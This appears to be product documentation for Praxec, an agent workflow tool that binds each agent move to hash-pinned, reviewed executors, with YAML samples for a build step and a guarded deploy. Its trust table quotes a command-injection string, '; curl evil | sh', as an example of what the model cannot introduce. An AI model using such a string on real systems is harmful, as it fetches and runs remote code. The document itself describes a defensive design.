One move, many kinds of work
Each move your agent makes runs a real thing — a shell script, a CLI command, a REST call, an MCP tool, a whole sub-workflow, or a handoff to a human. The slot that holds that real thing is the move’s executor: the config that says “when the agent takes this move, this is what actually fires.” It’s the same cargo test or gh pr create you’d run by hand, except you wire it in once and build a library. The model never authors the command; it just picks which legal move to take, and the executor runs.
scripts:
build.cargo.release:
verb: build
lifecycle: stable
body: |
#!/usr/bin/env bash
set -euo pipefail
cargo build --release --locked "$@"
workflows:
ci:
states:
building:
transitions:
done:
target: testing
executor: { kind: script, subject: build.cargo.release }
From building, the only move out is done, and taking it runs your pinned build before the agent lands in testing. Wire each state’s moves to real commands and the machine has teeth — there’s no path that skips the build.
The model can never introduce a command
There’s a known, systemic flaw in MCP: a client runs a server’s configured command unsanitized. Praxec is a client that spawns processes, so it takes that responsibility — by authorizing execution by provenance: who wrote the thing that wants to run.
| Who | What they can run |
|---|---|
| You (hand-written config) | Anything — cli, mcp, script. Your config is your trust boundary. |
| The model at runtime | Picks transitions and fills their arguments — passed as argv, never through a shell. It can never introduce a command. No ; curl evil | sh. |
| Authored content (LLM-proposed) | Only hash-pinned scripts and connections you declared. A raw command is rejected before publish. |
Reviewed once, pinned by hash, repeatable forever
The guarantee you actually want: the agent can’t run a different script than the one you reviewed. Each script is identified by the hash of its body and pinned to the workflow when a run starts — so editing the body later is invisible to runs already in flight, and an audit replay can pull back the exact body that executed. For destructive scripts, pair the executor with a script_acknowledged guard: the workflow refuses to run until an operator has reviewed the current body. Change the body, the hash flips, and the acknowledgement is invalidated.
deploying:
transitions:
ship:
target: deployed
executor: { kind: script, subject: deploy.prod }
guards:
- kind: script_acknowledged # review-before-execute, hash-flip-invalidated
subject: deploy.prod
You can open up a raw command if you want to — the door’s there. But the default is the opposite of “let the model do whatever it wants”: a growing library of approved, hash-pinned, deterministic building blocks. Constraint is what buys you repeatability.